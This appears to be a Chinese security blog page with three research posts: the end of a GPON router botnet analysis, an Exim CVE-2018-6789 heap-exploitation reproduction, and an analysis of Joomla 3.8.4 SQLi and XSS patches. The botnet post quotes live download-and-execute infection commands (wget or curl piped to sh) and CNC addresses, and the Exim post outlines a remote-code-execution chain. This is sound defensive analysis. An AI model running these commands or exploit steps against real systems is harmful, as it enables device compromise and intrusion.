    该样本会检测路由器中已有的进程，如果遇到下列可能属于其它僵尸网络的进程，将会进行 kill 操作(匹配的关键词远比源码中的丰富)

    该样本的 CNC 为： 185.33.145.92:252,该 CNC 依旧处于活跃状态

    需要注意的是

    利用脚本如下：

    2.2 58.215.144.205 样本（2018/05/07 版本）

    该样本的感染逻辑没有太大变化， CNC 与上文相同，为： 185.33.145.92:252，所以我们认为这与上文同属于 Q bot僵尸网络家族的变种。

    2.3 58.215.144.205 样本（2018/05/08 版本）

    2018/05/08，58.215.144.205/mips更新了相关的样本。通过逆向的结果看，新的样本与之前的逻辑完全不同，恶意控制者更换了控制的程序。

    新的样本看起来更像是 Mirai 僵尸网络的新变种，具体的感染细节我们仍在持续跟进中。

    该样本的CNC为 linuxusaarm.com:443

    3. Muhstik 僵尸网络

    2018/04/20，360netlab曝光了一个长期存在的僵尸网络：Muhstik僵尸网络。在本次漏洞事件中，我们也发现了大量 Muhstik僵尸网络的身影。
    该僵尸网络使用的感染命令如下：
    编号3 wget -qO - http://162.243.211.204/gpon|sh
    编号4 wget -qO - http://162.243.211.204/aio|sh
    编号5 wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
    编号8 wget -qO - http://54.39.23.28/1sh | sh
    编号9 wget -qO - http://104.54.236.173/gpon | sh

    由于该僵尸网络样本众多，多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系：

    图中红点代表各IP，灰点代表感染的bash脚本，黄点代表各恶意样本，蓝点代表出现的链接，红线代表从bash脚本中下载的样本

    • 各感染脚本如下：
    • 各样本sha256值如下:
    • CNC
      192.99.71.250:9090

    4. 未知样本1

    该样本使用的感染命令如下：
    编号6 curl -fsSL http://ztccds.freesfocss.com/test.txt | sh

    该样本会连接 ztccds.freesfocss.com:23364,样本具体功能仍在研究中。

    5. 未知样本2

    该样本使用的感染命令如下：
    编号11 busybox wget http://185.246.152.173/omni -O /tmp/talk
    该样本运行的命令为 /tmp/talk gpon

    该样本会连接185.246.152.173:1000,但该端口已经关闭(2018/05/09)。

     

    0x02 受影响主机范围

    注：由于仅探测了diag.html页面，故在多轮探测中我们只能确定哪些主机被攻击，无法判断攻击者是否攻击成功

    一. 探测到的主机均集中在墨西哥

    在对探测到的主机进行地域划分时，三轮探测中被攻击的IP都位于墨西哥。
    对受影响最多的五个国家进行抽样测试，结果如下：

    该漏洞存在与墨西哥和哈萨克斯坦，但是由于固件不同，只有墨西哥的路由器会返回diag_host，所以我们仅监测到墨西哥的路由器受影响情况。

    由于墨西哥的设备占据了全球设备的一半以上，我们认为相关数据依旧可以反应僵尸网络的实际情况。

    二. 受攻击的路由器执行的命令情况

    由于2018/05/05第一轮探测中只统计了存在/tmp字段的diag_host的内容，所以第一轮探测的数据具有一定的局限性。

    可以很明显看出：

    1. 确认被攻击的路由器数量在不断增加
    2. 各僵尸网络活动频繁，2018/05/07 Muhstik 僵尸网络发动大量攻击，而2018/05/08就变成了 Q bot僵尸网络变种。僵尸网络之间的竞争可见一斑。

     

    0x03 结语

    近年来，僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的GoAhead到今年的GPON事件，无不在提醒我们物联网安全的重要性。能结合ZoomEye网络空间搜索引擎了解到GPON事件背后活跃的僵尸网络动态，对我们来说就是一种收获。

     

    附录

    关于ZoomEye Dork，欢迎加入小密圈（免费）：

    本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/595/

     

    作者：Nanako | Categories:安全研究、漏洞通告 | Tags: 、
    没有评论

  • Exim Off-by-one(CVE-2018-6789)漏洞复现分析

    2018-04-02

    作者：Hcamael@知道创宇404实验室

    前段时间meh又挖了一个Exim的RCE漏洞[1]，而且这次RCE的漏洞的约束更少了，就算开启了PIE仍然能被利用。虽然去年我研究过Exim，但是时间过去这么久了，所以这次复现还是花了大量时间在熟悉Exim源码上。

    本次漏洞复现的过程中，踩了好多坑，实际复现的过程中发现堆块的实际情况无法像meh所说的那样的构造，所以在这部分卡了很久(猜测是因为环境不同的原因)，之后决定先理解meh利用的大致思路，然后自己根据实际情况对堆块进行构造，虽然过程艰难，但最终基本算是成功了。

    复现环境搭建

    本次使用的环境和上次大致相同, 首先去github上该漏洞的patch commit[2]

    然后把分支切换到上一个commit

    Makefile仍然使用上次那个:

    然后就是编译安装了:

    启动也是跟上次一样，但是这里有一个坑点，开启debug，输出所有debug信息，不开debug，这些都堆的布局都会有影响。不过虽然有影响，但是只是影响构造的细节，总体的构造思路还是按照meh写的paper中那样。

    本篇的复现，都是基于只输出部分debug信息的模式：

    漏洞复现

    因为我觉得meh的文章中，漏洞原理和相关函数的说明已经很详细，我也没啥要补充的，所以直接写我的复现过程

    STEP 1

    首先需要构造一个被释放的chunk，但是没必要像meh文章说的是一个0x6060大小的chunk，只需要满足几个条件:

    这个chunk要被分为三个部分，一个部分是通过store_get获取，用来存放base64解码的数据，用来造成off by one漏洞，覆盖下一个chunk的size，因为通过store_get获取的chunk最小值是0x2000，然后0x10的堆头和0x10的exim自己实现的堆头，所以是一个至少0x2020的堆块。

    第二部分用来放sender_host_name，因为该变量的内存是通过store_malloc获取的，所以没有大小限制

    第三部分因为需要构造一个fake chunk用来过free的检查，所以也是一个至少0x2020的堆块

    和meh的方法不同，我通过unrecognized command来获取一个0x4041的堆块，然后通过EHLO来释放:

    0x1d15180是通过unrecognized command获取的一个0x4040大小的chunk，在执行完EHLO命令后被释放, 然后0x1d191c0是inuse的sender_host_name，这两部分就构成一个0x6060的chunk

    STEP 2

    现在的情况是sender_host_name位于0x6060大小chunk的最底部，而我们需要把它移到中间

    这部分的思路和meh的一样，首先通过unrecognized command占用顶部0x2020的chunk

    之前的文章分析过，unrecognized command申请内存的大小是ss = store_get(length + nonprintcount * 3 + 1);

    通过计算，只需要让length + nonprintcount * 3 + 1 > yield_length，store_get函数就会从malloc中申请一个chunk

    这个时候我们就能使用EHLO释放之前的sender_host_name，然后重新设置，让sender_host_name位于0x6060大小chunk的中部

    STEP 3

    现在我们的堆布局是：

    • 第一块未被使用的0x2020大小的chunk
    • 第二块正在被使用0x2000大小的sender_host_name
    • 第三块未被使用，并且和之后堆块合并, 0x6060大小的chunk

    我们现在再回过头来想想各个chunk的size的设置的问题

    CHUNK 1

    第一个chunk是用来触发off by one漏洞，用来修改第二个CHUNK的size位，只能溢出1byte

    store_get最小分配一个0x2020的chunk，能储存0x2000的数据

    这就导致了，如果按照store_get的最小情况来，只能溢出覆盖掉第二个chunk的pre_size位

    然后因为(0x2008-1)%3==0，所以我们能通过b64decode函数的漏洞申请一个能储存0x2008的数据，size=0x2020的chunk，然后溢出一个字节到下一个chunk的size位

    CHUNK2

    第二块chunk，我们首先需要考虑，因为只能修改一个字节，所以最大只能从0x00扩展到0xf0

    其次，我们假设第二块chunk的原始size=0x2021，然后被修改成0x20f1，我们还需要考虑第二块chunk+0x20f1位置的堆块我们是否可控，因为需要伪造一个fake chunk，来bypass free函数的安全检查。

    经过多次调试，发现当第二块chunk的size=0x2001时，更方便后续的利用

    CHUNK3

    第三个chunk只要求大于一个store_get申请的最小size(0x2020)就行了

    STEP 4

    根据第三步叙述的，我们来触发off by one漏洞

    并且构造在第三块chunk中构造一个fake chunk

    STEP 5

    下一步跟meh一样，通过释放sender_host_name，把一个原本0x2000的chunk扩展成0x20f0, 但是却不触发smtp_reset

    STEP 6

    meh提供了一种不需要泄露地址就能RCE的思路

    exim有一个expand_string函数，当其处理的参数中有${run{xxxxx}}, xxxx则会被当成shell命令执行

    而acl_check函数中会对各个命令的配置进行检查，然后把配置信息的字符串调用expand_string函数

    我复现环境的配置信息如下:

    所以我有rcpt, data, auth这三个命令可以利用

    比如0x0000000001cedae0地址当前的内容是:

    当我把该字符串修改为${run{/usr/bin/touch /tmp/pwned}}

    则当我向服务器发送AUTH命令时，exim将会执行/usr/bin/touch /tmp/pwned

    所以之后就是meh所说的利用链:

    修改storeblock的next指针为储存acl_check_xxxx字符串的堆块地址 -> 调用smtp_reset -> 储存acl_check_xxxx字符串的堆块被释放丢入unsortedbin -> 申请堆块，当堆块的地址为储存acl_check_xxxx字符串的堆块时，我们可以覆盖该字符串为命令执行的字符串 -> RCE

    STEP 7

    根据上一步所说，我们首先需要修改next指针，第二块chunk的原始大小是0x2000，被修改后新的大小是0x20f0，下一个storeblock的地址为第二块chunk+0x2000，next指针地址为第二块chunk+0x2010

    所以我们申请一个0x2020的chunk，就能够覆盖next指针：

    这里有一个问题

    第二个chunk在AUTH CRAM-MD5命令执行时就被分配了，所以b64decode的内存是从next_yield获取的

    这样就导致一个问题，我们能通过之前的构造来控制在执行b64decode时yield_length的大小，最开始我的一个思路就是，仍然利用off by one漏洞来修改next，这也是我理解的meh所说的partial write

    但是实际情况让我这个思路失败了

    当前的next指针的值为0x1d171b0，如果利用我的思路是可以修改1-2字节，然而储存acl_check_xxx字符的堆块地址为0x1ced980

    我们需要修改3字节，所以这个思路行不通

    所以又有了另一个思路，因为exim是通过fork起子进程来处理每个socket连接的，所以我们可以爆破堆的基地址，只需要爆破2byte

    STEP 8

    在解决地址的问题后，就是对堆进行填充，然后修改相关acl_check_xxx指向的字符串

    然后附上利用截图：

    总结

    坑踩的挺多，尤其是在纠结meh所说的partial write，之后在github上看到别人公布的exp[3]，同样也是使用爆破的方法，所以可能我对partial write的理解有问题吧

    另外，通过与github上的exp进行对比，发现不同版本的exim，acl_check_xxx的堆偏移也有差别，所以如果需要RCE exim，需要满足下面的条件：

    1. 包含漏洞的版本(小于等于commit 38e3d2dff7982736f1e6833e06d4aab4652f337a的版本)
    2. 开启CRAM-MD5认证，或者其他有调用b64decode函数的认证
    3. 需要有该exim的binary来计算堆偏移
    4. 需要知道exim的启动参数

    参考

    1. https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/
    2. https://github.com/Exim/exim/commit/cf3cd306062a08969c41a1cdd32c6855f1abecf1
    3. https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789
    作者：dawu | Categories:安全研究、技术分享 | Tags:
    没有评论

  • 从补丁到漏洞分析 –记一次joomla漏洞应急

    2018-02-07

    作者：LoRexxar’@知道创宇404实验室

    2018年1月30日，joomla更新了3.8.4版本，这次更新修复了4个安全漏洞，以及上百个bug修复。

    https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html

    为了漏洞应急这几个漏洞，我花费了大量的时间分析漏洞成因、寻找漏洞触发位置、回溯逻辑，下面的文章比起漏洞分析来说，更接近我思考的思路，希望能给大家带来不一样的东西。

    背景

    其中的4个安全漏洞包括

    根据更新，我们去到github上的joomla项目，从中寻找相应的修复补丁，可以发现，4个安全漏洞的是和3.8.4的release版同时更新的。

    https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7

    通过补丁配合漏洞详情中的简单描述我们可以确定漏洞的一部信息，紧接着通过这部分信息来回溯漏洞成因。

    SQLi vulnerability in Hathor postinstall message

    https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html

    补丁分析

    第一个漏洞说的比较明白，是说在Hathor的postinstall信息处，由于错误的类型转换导致了注入漏洞。

    我们来看看相应的补丁

    符合漏洞描述的点就是这里，原来的取第一位改为了对取出信息做强制类型转换，然后拼接入sql语句。

    这里假设我们可以控制$adminstyle，如果我们通过传入数组的方式设置该变量为数组格式，并且第1个字符串可控，那么这里就是一个可以成立的漏洞点。

    现在我们需要找到这个功能的位置，并且回溯变量判断是否可控。

    找到漏洞位置

    hathor是joomla自带的两个后台模板之一，由于hathor更新迭代没有isis快，部分功能会缺失，所以在安装完成之后，joomla的模板为isis，我们需要手动设置该部分。

    修改完成后回到首页，右边就是postinstallation message

    回溯漏洞

    回到代码中，我们需要找到$adminstyle这个变量进入的地方。

    这里user为JFactory::getUser()，跟入getParam方法

    这里$this->_params来自$this->_params = new Registry;

    跟入Registry的get方法

    根据这里的调用方式来看，这里会通过这里的的判断获取是否存在adminstyle，如果没有则会返回default(这里为空)

    接着回溯$this->data,data来自$this->data = new \stdClass;

    回溯到这里可以发现$admin_style的地方是从全局变量中中读取的。

    默认设置为空/administrator/components/com_users/models/forms/user.xml

    但我们是可以设置这个的

    后台users->users->super user设置，右边我们可以设置当前账户使用的后台模板，将右边修改为使用hathor型模板。

    通过抓包我们可以发现，这里显式的设置了当前账户的admin_type，这样如果我们通过传入数组，就可以设置admin_type为任意值

    然后进入代码中的数据库操作
    /administrator/templates/hathor/postinstall/hathormessage.php function hathormessage_postinstall_condition

    访问post_install页面触发

    XSS vulnerability in com_fields

    https://developer.joomla.org/security-centre/720-20180102-core-xss-vulnerability.html

    补丁分析

    漏洞详情写了很多，反而是补丁比较模糊，我们可以大胆猜测下，当插入的字段类型为list、radio、checkbox多出的部分变量没有经过转义

    首先我们需要先找到触发点

    后台content->fields->new，然后设置type为radio，在键名处加入相应的payload

    然后保存新建文章

    成功触发

    漏洞分析

    由于补丁修复的方式比较特殊，可以猜测是在某些部分调用时使用了textContent而不是nodeValue，在分析变量时以此为重点。

    漏洞的出发点/administrator/components/com_fields/libraries/fieldslistplugin.php line 31

    由于找不到该方法的调用点，所以我们从触发漏洞的点分析流程。

    编辑文章的上边栏是通过administrator/components/com_content/views/article/tmp/edit.php line 99载入的

    这里JLayoutHelper:render会进入/layouts/joomla/edit/params.php

    然后在129行进入JLayoutHelper::render('joomla.edit.fieldset', $displayData);

    跟入/layouts/joomla/edit/fieldset.php line 16，代码在这里通过执行form的getFieldset获取了提交的自定义字段信息。

    跟入/libraries/src/Form/Form.php line 329 function getFieldset

    跟如1683行 findFieldsByFieldset函数。

    这里调用xml来获取数据，从全局的xml变量中匹配。

    这里的全局变量中的xml中的option字段就来自于设置时的$option->textContent，而只有list, radio and checkbox.这三种是通过这里的函数做处理，其中list比较特殊，在后面的处理过程中，list类型的自定义字段会在/libraries/cms/html/select.php line 742 function options被二次处理，但radio不会，所以漏洞存在。

    整个xss漏洞从插入到触发限制都比较大，实战价值较低。

    XSS vulnerability in Uri class

    https://developer.joomla.org/security-centre/721-20180103-core-xss-vulnerability.html

    补丁分析

    比起其他几个来说，这里的漏洞就属于特别清晰的，就是在获取系统变量时，没做相应的过滤。

    前台触发方式特别简单，因为这里的script_name是获取基础url路径的，会拼接进所有页面的和链接有关系的地方，包括js或者css的引入。

    漏洞利用

    让我们来看看完整的代码

    很明显只有当$script_name = $_SERVER['PHP_SELF']的时候，漏洞才有可能成立

    只有当php是fastcgi运行，而且cgi.fix_pathinfo = 0时才能进入这个判断，然后利用漏洞还有一个条件，就是服务端对路径的解析存在问题才行。

    当该路径能被正常解析时，http://127.0.0.1/index.php/{evil_code}就会被错误的设置为基础URL拼接入页面中。

    一个无限制的xss就成立了

    XSS vulnerability in module chromes

    https://developer.joomla.org/security-centre/718-20180101-core-xss-vulnerability.html

    补丁分析

    漏洞存在的点比较清楚，修复中将$moduleTag进行了一次转义，同样的地方有三处，但都是同一个变量导致的。

    这个触发也比较简单，当我们把前台模板设置为protostar（默认）时，访问前台就会触发这里的modChrome_well函数。

    漏洞利用

    让我们看看完整的代码

    很明显后面module_tag没有经过更多处理，就输出了，假设我们可控module_tag，那么漏洞就成立。

    问题在于怎么控制，这里的函数找不到调用的地方，能触发的地方都返回了传入的第二个值，猜测和上面的get_param一样，如果没有设置该变量，则返回default值。

    经过一番研究，并没有找到可控的设置的点，这里只能暂时放弃。

    ref

    作者：dawu | Categories:安全研究、技术分享 | Tags:
    没有评论
« 上一页 下一页 »